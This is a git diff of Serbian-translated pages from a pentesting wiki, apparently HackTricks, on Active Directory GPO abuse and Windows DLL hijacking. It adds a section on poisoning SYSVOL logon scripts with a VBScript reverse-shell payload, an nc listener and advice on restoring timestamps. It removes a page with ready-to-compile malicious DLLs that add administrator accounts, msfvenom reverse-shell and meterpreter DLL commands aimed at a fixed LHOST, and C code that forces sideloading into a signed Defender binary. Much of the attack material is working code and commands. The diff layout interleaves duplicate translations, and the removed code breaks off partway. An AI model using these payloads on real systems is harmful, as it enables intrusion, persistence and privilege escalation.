Struktura zadatka, prikazana u XML konfiguracionom fajlu generisanom komandnom `New-GPOImmediateTask`, opisuje detalje zakazanog zadatka — uključujući komandu koja će se izvršiti i njegove okidače. Ovaj fajl predstavlja način na koji su zakazani zadaci definisani i upravljani unutar GPO, pružajući metodu za izvršavanje proizvoljnih komandi ili skripti kao deo sprovođenja politike.
|
||||||
|
|
||||||
### Korisnici i grupe
|
### Users and Groups
|
||||||
|
|
||||||
GPO-i takođe omogućavaju manipulaciju članstvima korisnika i grupa na ciljanim sistemima. Direktnim uređivanjem policy fajlova za korisnike i grupe, napadači mogu dodati korisnike u privilegovane grupe, poput lokalne grupe `administrators`. Ovo je moguće zahvaljujući delegiranju dozvola za upravljanje GPO-om, što dozvoljava izmene policy fajlova kako bi se uključili novi korisnici ili promenila članstva u grupama.
|
GPO takođe omogućavaju manipulaciju članstvom korisnika i grupa na ciljnim sistemima. Direktnim izmenama policy fajlova Users and Groups, napadači mogu dodavati korisnike u privilegovane grupe, poput lokalne `administrators` grupe. To je moguće putem delegiranja dozvola za upravljanje GPO, što omogućava izmene policy fajlova kako bi se ubacili novi korisnici ili promenilo članstvo u grupama.
|
||||||
|
|
||||||
XML konfiguracioni fajl za korisnike i grupe prikazuje kako se ove izmene primenjuju. Dodavanjem unosa u ovaj fajl, određenim korisnicima se mogu dodeliti povišene privilegije na pogođenim sistemima. Ova metoda nudi direktan pristup eskalaciji privilegija kroz manipulaciju GPO-om.
|
XML konfiguracioni fajl za Users and Groups ilustruje kako se ove izmene primenjuju. Dodavanjem unosa u taj fajl, određenim korisnicima mogu se dodeliti povišene privilegije na pogođenim sistemima. Ova metoda nudi direktan pristup eskalaciji privilegija kroz manipulaciju GPO.
|
||||||
|
|
||||||
|
Pored toga, mogu se razmotriti i dodatne metode za izvršavanje koda ili održavanje persistencije, poput korišćenja logon/logoff skripti, izmene registry ključeva za autorun, instaliranja softvera preko .msi fajlova, ili uređivanja konfiguracija servisa. Ove tehnike pružaju različite puteve za održavanje pristupa i kontrolu ciljanih sistema kroz zloupotrebu GPO.
|
||||||
|
|
||||||
|
## SYSVOL/NETLOGON Logon Script Poisoning
|
||||||
|
|
||||||
|
Upisivi putevi pod `\\<dc>\SYSVOL\<domain>\scripts\` ili `\\<dc>\NETLOGON\` dozvoljavaju manipulisanje logon skriptama koje se izvršavaju pri prijavi korisnika preko GPO. To dovodi do izvršavanja koda u bezbednosnom kontekstu prijavljujućih se korisnika.
|
||||||
|
|
||||||
|
### Pronalaženje logon skripti
|
||||||
|
- Pregledajte atribute korisnika radi konfigurisanog logon skripta:
|
||||||
|
```powershell
|
||||||
|
Get-DomainUser -Identity <user> -Properties scriptPath, scriptpath
|
||||||
|
```
|
||||||
|
- Pretražite deljene resurse domena kako biste otkrili prečice ili reference na skripte:
|
||||||
|
```bash
|
||||||
|
# NetExec spider (authenticated)
|
||||||
|
netexec smb <dc_fqdn> -u <user> -p <pass> -M spider_plus
|
||||||
|
```
|
||||||
|
- Parsirati `.lnk` datoteke da razreše ciljeve koji upućuju na SYSVOL/NETLOGON (koristan DFIR trik i za napadače bez direktnog pristupa GPO):
|
||||||
|
```bash
|
||||||
|
# LnkParse3
|
||||||
|
lnkparse login.vbs.lnk
|
||||||
|
# Example target revealed:
|
||||||
|
# C:\Windows\SYSVOL\sysvol\<domain>\scripts\login.vbs
|
||||||
|
```
|
||||||
|
- BloodHound prikazuje atribut `logonScript` (scriptPath) na korisničkim čvorovima kada je prisutan.
|
||||||
|
|
||||||
|
### Proverite pristup za pisanje (ne verujte listama deljenja)
|
||||||
|
Automatizovani alati mogu prikazati SYSVOL/NETLOGON kao samo za čitanje, ali osnovne NTFS ACLs i dalje mogu dozvoljavati upis. Uvek testirajte:
|
||||||
|
```bash
|
||||||
|
# Interactive write test
|
||||||
|
smbclient \\<dc>\SYSVOL -U <user>%<pass>
|
||||||
|
smb: \\> cd <domain>\scripts\
|
||||||
|
smb: \\<domain>\scripts\\> put smallfile.txt login.vbs # check size/time change
|
||||||
|
```
|
||||||
|
Ako se veličina fajla ili mtime promeni, imate write. Sačuvajte originalne fajlove pre izmena.
|
||||||
|
|
||||||
|
### Zatrovati VBScript logon skriptu za RCE
|
||||||
|
Dodajte komandu koja pokreće PowerShell reverse shell (generišite sa revshells.com) i zadržite originalnu logiku kako biste izbegli prekid poslovne funkcije:
|
||||||
|
```vb
|
||||||
|
' At top of login.vbs
|
||||||
|
Set cmdshell = CreateObject("Wscript.Shell")
|
||||||
|
cmdshell.run "powershell -e <BASE64_PAYLOAD>"
|
||||||
|
|
||||||
|
' Existing mappings remain
|
||||||
|
MapNetworkShare "\\\\<dc_fqdn>\\apps", "V"
|
||||||
|
MapNetworkShare "\\\\<dc_fqdn>\\docs", "L"
|
||||||
|
```
|
||||||
|
Osluškujte na svom hostu i sačekajte sledeći interactive logon:
|
||||||
|
```bash
|
||||||
|
rlwrap -cAr nc -lnvp 443
|
||||||
|
```
|
||||||
|
Napomene:
|
||||||
|
- Izvršavanje se dešava pod tokenom prijavljenog korisnika (ne SYSTEM). Opseg primene je GPO link (OU, site, domain) koji primenjuje taj skript.
|
||||||
|
- Očistite tako što ćete vratiti originalni sadržaj i vremenske oznake (timestamps) nakon upotrebe.
|
||||||
|
|
||||||
Dalje, mogu se razmotriti i dodatne metode za izvršavanje koda ili održavanje perzistencije, kao što su korišćenje logon/logoff skripti, izmena registry ključeva za autorun, instalacija softvera preko .msi fajlova, ili uređivanje konfiguracija servisa. Ove tehnike pružaju različite puteve za održavanje pristupa i kontrolu ciljnih sistema kroz zloupotrebu GPO-a.
|
|
||||||
|
|
||||||
## Reference
|
## Reference
|
||||||
|
|
||||||
@ -187,5 +283,9 @@ Dalje, mogu se razmotriti i dodatne metode za izvršavanje koda ili održavanje
|
|||||||
- [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
|
- [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
|
||||||
- [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
|
- [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
|
||||||
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule\_\_ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule\_\_ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
||||||
|
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
||||||
|
- [BloodyAD – AD attribute/UAC operations from Linux](https://github.com/CravateRouge/bloodyAD)
|
||||||
|
- [Samba – net rpc (group membership)](https://www.samba.org/)
|
||||||
|
- [HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin](https://0xdf.gitlab.io/2025/09/27/htb-puppy.html)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
@ -1,320 +0,0 @@
|
|||||||
# Dll Hijacking
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## Osnovne informacije
|
|
||||||
|
|
||||||
DLL Hijacking podrazumeva manipulaciju poverljivom aplikacijom da učita maliciozni DLL. Ovaj termin obuhvata nekoliko taktika kao što su **DLL Spoofing, Injection, and Side-Loading**. Najčešće se koristi za izvršavanje koda, postizanje persistence, i ređe za privilege escalation. Uprkos fokusu na eskalaciju ovde, metoda hijack-ovanja ostaje ista za sve ciljeve.
|
|
||||||
|
|
||||||
### Uobičajene tehnike
|
|
||||||
|
|
||||||
Koriste se različite metode za DLL hijacking, čija je efikasnost zavisna od načina na koji aplikacija učitava DLL-ove:
|
|
||||||
|
|
||||||
1. **DLL Replacement**: Zamena legitimnog DLL-a malicioznim, opcionalno koristeći DLL Proxying da se sačuva funkcionalnost originalnog DLL-a.
|
|
||||||
2. **DLL Search Order Hijacking**: Postavljanje malicioznog DLL-a u putanju pre legitimnog, iskorišćavajući obrazac pretrage aplikacije.
|
|
||||||
3. **Phantom DLL Hijacking**: Kreiranje malicioznog DLL-a koji aplikacija pokuša da učita misleći da je u pitanju nepostojeći potreban DLL.
|
|
||||||
4. **DLL Redirection**: Modifikovanje parametara pretrage kao što su %PATH% ili .exe.manifest / .exe.local fajlovi da se aplikacija usmeri na maliciozni DLL.
|
|
||||||
5. **WinSxS DLL Replacement**: Zamena legitimnog DLL-a malicioznim u WinSxS direktorijumu, metoda često povezana sa DLL side-loading.
|
|
||||||
6. **Relative Path DLL Hijacking**: Postavljanje malicioznog DLL-a u direktorijum pod kontrolom korisnika sa kopiranom aplikacijom, što podseća na Binary Proxy Execution tehnike.
|
|
||||||
|
|
||||||
## Pronalaženje nedostajućih Dll-ova
|
|
||||||
|
|
||||||
Najčešći način za pronalaženje nedostajućih DLL-ova u sistemu je pokretanje [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) iz sysinternals-a, **postavljanjem** **sledеća 2 filtera**:
|
|
||||||
|
|
||||||
.png>)
|
|
||||||
|
|
||||||
.png>)
|
|
||||||
|
|
||||||
i prikazivanjem samo **File System Activity**:
|
|
||||||
|
|
||||||
.png>)
|
|
||||||
|
|
||||||
Ako tražite **missing dlls in general** ostavite ovo da radi nekoliko **sekundi**.\
|
|
||||||
Ako tražite **missing dll inside an specific executable** trebalo bi da postavite **još jedan filter kao "Process Name" "contains" "\<exec name>", pokrenete ga, i zaustavite hvatanje događaja**.
|
|
||||||
|
|
||||||
## Exploiting Missing Dlls
|
|
||||||
|
|
||||||
Da bismo izvršili privilege escalation, najbolja prilika je da možemo **napisati DLL koji će neki privilegovani proces pokušati da učita** u nekom od **mesta gde će biti pretraživan**. Dakle, možemo **upisati** DLL u **folder** gde će se **DLL pretražiti pre** foldera gde se nalazi **originalni DLL** (neobičan slučaj), ili ćemo moći **upisati u neki folder gde će se DLL pretraživati** a originalni **DLL ne postoji** u bilo kojem folderu.
|
|
||||||
|
|
||||||
### Dll Search Order
|
|
||||||
|
|
||||||
**U** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **možete pronaći kako se DLL-ovi specifično učitavaju.**
|
|
||||||
|
|
||||||
Windows aplikacije traže DLL-ove prateći skup unapred definisanih putanja pretrage, po određenom redosledu. Problem DLL hijackinga nastaje kada se štetan DLL strateški postavi u jedan od tih direktorijuma tako da bude učitan pre autentičnog DLL-a. Rešenje da se to spreči je osigurati da aplikacija koristi apsolutne putanje kada referencira potrebne DLL-ove.
|
|
||||||
|
|
||||||
Možete videti **DLL search order na 32-bitnim** sistemima ispod:
|
|
||||||
|
|
||||||
1. Direktorijum iz kojeg je aplikacija učitana.
|
|
||||||
2. System directory. Koristite [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) funkciju da dobijete putanju ovog direktorijuma.(_C:\Windows\System32_)
|
|
||||||
3. 16-bit system directory. Ne postoji funkcija koja dobija putanju ovog direktorijuma, ali se pretražuje. (_C:\Windows\System_)
|
|
||||||
4. Windows directory. Koristite [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) funkciju da dobijete putanju ovog direktorijuma.
|
|
||||||
1. (_C:\Windows_)
|
|
||||||
5. Trenutni direktorijum.
|
|
||||||
6. Direktorijumi koji su navedeni u PATH environment variable. Obratite pažnju da ovo ne uključuje per-application putanju specificiranu kroz **App Paths** registry key. **App Paths** ključ se ne koristi pri izračunavanju DLL search path.
|
|
||||||
|
|
||||||
To je **podrazumevani** redosled pretrage sa omogućenim **SafeDllSearchMode**. Kada je on onemogućen, current directory prelazi na drugo mesto. Da onemogućite ovu opciju, kreirajte **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** registry vrednost i postavite je na 0 (podrazumevano je enabled).
|
|
||||||
|
|
||||||
Ako se [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) funkcija pozove sa **LOAD_WITH_ALTERED_SEARCH_PATH**, pretraga počinje u direktorijumu izvršne module koji **LoadLibraryEx** učitava.
|
|
||||||
|
|
||||||
Na kraju, imajte u vidu da **DLL može biti učitan navodeći apsolutnu putanju umesto samo imena**. U tom slučaju taj DLL će **biti tražen samo u toj putanji** (ako taj DLL ima zavisnosti, one će se tražiti kao da su upravo učitane po imenu).
|
|
||||||
|
|
||||||
Postoje i drugi načini da se menja redosled pretrage, ali ih ovde neću objašnjavati.
|
|
||||||
|
|
||||||
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
|
|
||||||
|
|
||||||
Napredan način da deterministički utičete na DLL search path novokreiranog procesa je postavljanje DllPath polja u RTL_USER_PROCESS_PARAMETERS prilikom kreiranja procesa koristeći ntdll-ove native API-je. Ako ovde navedete direktorijum pod kontrolom napadača, ciljani proces koji rešava importovani DLL po imenu (bez apsolutne putanje i bez korišćenja safe loading flag-ova) može biti primoran da učita maliciozni DLL iz tog direktorijuma.
|
|
||||||
|
|
||||||
Ključna ideja
|
|
||||||
- Izgradite process parameters sa RtlCreateProcessParametersEx i pružite custom DllPath koji pokazuje na vaš kontrolisani folder (npr. direktorijum gde se nalazi vaš dropper/unpacker).
|
|
||||||
- Kreirajte proces pomoću RtlCreateUserProcess. Kada ciljani binarni fajl reši DLL po imenu, loader će konsultovati dostavljeni DllPath tokom rezolucije, omogućavajući pouzdano sideloading čak i kada maliciozni DLL nije u istom direktorijumu kao ciljni EXE.
|
|
||||||
|
|
||||||
Napomene/ograničenja
|
|
||||||
- Ovo utiče na child proces koji se kreira; razlikuje se od SetDllDirectory, koja utiče samo na trenutni proces.
|
|
||||||
- Cilj mora importovati ili LoadLibrary DLL po imenu (bez apsolutne putanje i bez korišćenja LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
|
|
||||||
- KnownDLLs i hardkodirane apsolutne putanje ne mogu biti hijack-ovane. Forwarded exports i SxS mogu promeniti prioritet.
|
|
||||||
|
|
||||||
Minimalan C primer (ntdll, wide strings, pojednostavljeno rukovanje greškama):
|
|
||||||
```c
|
|
||||||
#include <windows.h>
|
|
||||||
#include <winternl.h>
|
|
||||||
#pragma comment(lib, "ntdll.lib")
|
|
||||||
|
|
||||||
// Prototype (not in winternl.h in older SDKs)
|
|
||||||
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
|
|
||||||
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
|
|
||||||
PUNICODE_STRING ImagePathName,
|
|
||||||
PUNICODE_STRING DllPath,
|
|
||||||
PUNICODE_STRING CurrentDirectory,
|
|
||||||
PUNICODE_STRING CommandLine,
|
|
||||||
PVOID Environment,
|
|
||||||
PUNICODE_STRING WindowTitle,
|
|
||||||
PUNICODE_STRING DesktopInfo,
|
|
||||||
PUNICODE_STRING ShellInfo,
|
|
||||||
PUNICODE_STRING RuntimeData,
|
|
||||||
ULONG Flags
|
|
||||||
);
|
|
||||||
|
|
||||||
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
|
|
||||||
PUNICODE_STRING NtImagePathName,
|
|
||||||
ULONG Attributes,
|
|
||||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
|
|
||||||
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
|
|
||||||
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
|
|
||||||
HANDLE ParentProcess,
|
|
||||||
BOOLEAN InheritHandles,
|
|
||||||
HANDLE DebugPort,
|
|
||||||
HANDLE ExceptionPort,
|
|
||||||
PRTL_USER_PROCESS_INFORMATION ProcessInformation
|
|
||||||
);
|
|
||||||
|
|
||||||
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
|
|
||||||
DWORD n = GetModuleFileNameW(h, out, cch);
|
|
||||||
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
|
|
||||||
}
|
|
||||||
|
|
||||||
int wmain(void) {
|
|
||||||
// Target Microsoft-signed, DLL-hijackable binary (example)
|
|
||||||
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
|
|
||||||
|
|
||||||
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
|
|
||||||
wchar_t dllDir[MAX_PATH];
|
|
||||||
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
|
|
||||||
|
|
||||||
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
|
|
||||||
RtlInitUnicodeString(&uImage, image);
|
|
||||||
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
|
|
||||||
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
|
|
||||||
RtlInitUnicodeString(&uCurDir, dllDir);
|
|
||||||
|
|
||||||
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
|
|
||||||
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
|
|
||||||
RtlCreateUserProcess_t pRtlCreateUserProcess =
|
|
||||||
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
|
|
||||||
|
|
||||||
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
|
|
||||||
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
|
|
||||||
NULL, NULL, NULL, NULL, NULL, 0);
|
|
||||||
if (st < 0) return 1;
|
|
||||||
|
|
||||||
RTL_USER_PROCESS_INFORMATION pi = {0};
|
|
||||||
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
|
|
||||||
if (st < 0) return 1;
|
|
||||||
|
|
||||||
// Resume main thread etc. if created suspended (not shown here)
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
Primer operativne upotrebe
|
|
||||||
- Postavite zlonamerni xmllite.dll (koji eksportuje potrebne funkcije ili proxy-uje na pravi) u vaš direktorijum DllPath.
|
|
||||||
- Pokrenite potpisani binarni fajl za koji je poznato da traži xmllite.dll po imenu koristeći gore opisanu tehniku. Loader rešava import putem navedenog DllPath i sideload-uje vaš DLL.
|
|
||||||
|
|
||||||
Ova tehnika je viđena u prirodi da pokreće multi-stage sideloading lance: inicijalni launcher ispusti pomoćni DLL, koji potom pokreće Microsoft-potpisani, hijackable binarni fajl sa prilagođenim DllPath-om kako bi naterao učitavanje napadačevog DLL-a iz staging direktorijuma.
|
|
||||||
|
|
||||||
|
|
||||||
#### Izuzeci u redosledu pretrage DLL-ova iz Windows dokumentacije
|
|
||||||
|
|
||||||
Windows dokumentacija beleži određene izuzetke od standardnog redosleda pretrage DLL-ova:
|
|
||||||
|
|
||||||
- Kada se naiđe na **DLL koji deli ime sa nekim koji je već učitan u memoriju**, sistem zaobilazi uobičajenu pretragu. Umesto toga, vrši proveru za redirekciju i manifest pre nego što zadano izabere DLL koji je već u memoriji. **U ovom scenariju, sistem ne vrši pretragu za DLL**.
|
|
||||||
- U slučajevima kada je DLL prepoznat kao **known DLL** za trenutnu verziju Windows-a, sistem će koristiti svoju verziju te known DLL, zajedno sa svim njenim zavisnim DLL-ovima, **izostavljajući proces pretrage**. Registry key **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** sadrži listu ovih known DLL-ova.
|
|
||||||
- Ako **DLL ima zavisnosti**, pretraga za tim zavisnim DLL-ovima se vrši kao da su naznačeni samo svojim **module names**, bez obzira da li je početni DLL bio identifikovan putem pune putanje.
|
|
||||||
|
|
||||||
### Eskalacija privilegija
|
|
||||||
|
|
||||||
**Zahtevi**:
|
|
||||||
|
|
||||||
- Identifikujte proces koji radi ili će raditi pod **različitim privilegijama** (horizontalno ili lateralno kretanje), a koji **nema DLL**.
|
|
||||||
- Osigurajte da postoji **write access** za bilo koji **direktorijum** u kojem će se **DLL** **pretraživati**. Ova lokacija može biti direktorijum izvršnog fajla ili direktorijum unutar system path.
|
|
||||||
|
|
||||||
Da, uslovi su teški za pronalaženje jer je **po defaultu pomalo čudno pronaći privilegovani izvršni fajl kome nedostaje DLL** i još je **čudnije imati write permissions na folderu u system path** (po defaultu to nije moguće). Međutim, u pogrešno konfigurisanom okruženju to je moguće.\
|
|
||||||
Ako imate sreće i ispunjavate ove uslove, možete pogledati projekat [UACME](https://github.com/hfiref0x/UACME). Čak iako je **glavni cilj projekta da zaobiđe UAC**, tamo možete naći **PoC** Dll hijacking-a za verziju Windows-a koju možete iskoristiti (verovatno samo menjajući putanju foldera u kojem imate write permissions).
|
|
||||||
|
|
||||||
Napomena da možete **proveriti svoje dozvole u folderu** radeći:
|
|
||||||
```bash
|
|
||||||
accesschk.exe -dqv "C:\Python27"
|
|
||||||
icacls "C:\Python27"
|
|
||||||
```
|
|
||||||
I **proverite dozvole svih direktorijuma u PATH**:
|
|
||||||
```bash
|
|
||||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
|
||||||
```
|
|
||||||
Takođe možete proveriti importe izvršnog fajla i eksporte dll-a pomoću:
|
|
||||||
```c
|
|
||||||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
|
||||||
dumpbin /export /path/file.dll
|
|
||||||
```
|
|
||||||
For a full guide on how to **zloupotrebiti Dll Hijacking za eskalaciju privilegija** with permissions to write in a **System Path folder** check:
|
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
|
||||||
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
|
||||||
{{#endref}}
|
|
||||||
|
|
||||||
### Automatski alati
|
|
||||||
|
|
||||||
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) će proveriti da li imate dozvole za pisanje u bilo kom folderu unutar system PATH.\
|
|
||||||
Drugi interesantni automatizovani alati za otkrivanje ove ranjivosti su **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ and _Write-HijackDll._
|
|
||||||
|
|
||||||
### Primer
|
|
||||||
|
|
||||||
Ako pronađete scenario koji se može iskoristiti, jedna od najvažnijih stvari za uspešan exploit je da **napravite dll koji izvozi bar sve funkcije koje će executable importovati iz njega**. Imajte na umu da Dll Hijacking može biti koristan za [escalate from Medium Integrity level to High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) or from[ **High Integrity to SYSTEM**](#from-high-integrity-to-system)**.** Možete pronaći primer **how to create a valid dll** inside this dll hijacking study focused on dll hijacking for execution: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
|
||||||
Štaviše, u **narednom odeljk**u možete naći neke **osnovne dll kodove** koji mogu biti korisni kao **templates** ili za kreiranje **dll with non required functions exported**.
|
|
||||||
|
|
||||||
## **Kreiranje i kompajliranje Dlls**
|
|
||||||
|
|
||||||
### **Dll Proxifying**
|
|
||||||
|
|
||||||
U suštini, **Dll proxy** je Dll sposoban da **izvrši vaš zlonamerni kod prilikom učitavanja**, ali i da **izlaže** i **radi** kao **očekivano** preusmeravajući sve pozive na pravu biblioteku.
|
|
||||||
|
|
||||||
Sa alatom [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) or [**Spartacus**](https://github.com/Accenture/Spartacus) možete zapravo **navesti an executable and select the library** koju želite proxify i **generisati a proxified dll** ili **navesti the Dll** i **generisati a proxified dll**.
|
|
||||||
|
|
||||||
### **Meterpreter**
|
|
||||||
|
|
||||||
**Get rev shell (x64):**
|
|
||||||
```bash
|
|
||||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
|
||||||
```
|
|
||||||
**Nabavite meterpreter (x86):**
|
|
||||||
```bash
|
|
||||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
|
||||||
```
|
|
||||||
**Kreiraj korisnika (x86, nisam video x64 verziju):**
|
|
||||||
```
|
|
||||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
|
||||||
```
|
|
||||||
### Vaše
|
|
||||||
|
|
||||||
Imajte na umu da u nekoliko slučajeva Dll koji kompajlirate mora da **eksportuje više funkcija** koje će biti učitane od strane victim process. Ako te funkcije ne postoje, **binary neće moći da ih učita** i **exploit će propasti**.
|
|
||||||
```c
|
|
||||||
// Tested in Win10
|
|
||||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
|
||||||
#include <windows.h>
|
|
||||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
|
|
||||||
switch(dwReason){
|
|
||||||
case DLL_PROCESS_ATTACH:
|
|
||||||
system("whoami > C:\\users\\username\\whoami.txt");
|
|
||||||
WinExec("calc.exe", 0); //This doesn't accept redirections like system
|
|
||||||
break;
|
|
||||||
case DLL_PROCESS_DETACH:
|
|
||||||
break;
|
|
||||||
case DLL_THREAD_ATTACH:
|
|
||||||
break;
|
|
||||||
case DLL_THREAD_DETACH:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
```c
|
|
||||||
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
|
|
||||||
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
|
|
||||||
|
|
||||||
#include <windows.h>
|
|
||||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
|
|
||||||
if (dwReason == DLL_PROCESS_ATTACH){
|
|
||||||
system("cmd.exe /k net localgroup administrators user /add");
|
|
||||||
ExitProcess(0);
|
|
||||||
}
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
```c
|
|
||||||
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
|
|
||||||
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
|
|
||||||
|
|
||||||
#include <windows.h>
|
|
||||||
|
|
||||||
int owned()
|
|
||||||
{
|
|
||||||
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
|
|
||||||
exit(0);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
|
|
||||||
{
|
|
||||||
owned();
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
```c
|
|
||||||
//Another possible DLL
|
|
||||||
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
|
|
||||||
|
|
||||||
#include<windows.h>
|
|
||||||
#include<stdlib.h>
|
|
||||||
#include<stdio.h>
|
|
||||||
|
|
||||||
void Entry (){ //Default function that is executed when the DLL is loaded
|
|
||||||
system("cmd");
|
|
||||||
}
|
|
||||||
|
|
||||||
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
|
|
||||||
switch (ul_reason_for_call){
|
|
||||||
case DLL_PROCESS_ATTACH:
|
|
||||||
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
|
|
||||||
break;
|
|
||||||
case DLL_THREAD_ATTACH:
|
|
||||||
case DLL_THREAD_DETACH:
|
|
||||||
case DLL_PROCESS_DEATCH:
|
|
||||||
break;
